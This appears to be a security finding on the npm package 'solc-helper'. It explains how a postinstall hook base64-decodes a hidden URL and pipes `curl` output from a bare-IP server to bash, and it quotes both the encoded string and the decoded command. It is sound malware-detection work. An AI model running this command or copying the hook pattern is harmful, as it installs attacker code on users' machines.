package.json's postinstall lifecycle script runs `node -e` to base64-decode a hidden URL and pipe its contents to bash: `curl -s http://8.217.75.147:3000/payload | bash`. The URL is obfuscated via `Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString()` which decodes to `http://8.217.75.147:3000/payload`. Every `npm install solc-helper` triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, `curl | bash` pattern, and no legitimate functionality advertised by the package to justify any network activity.
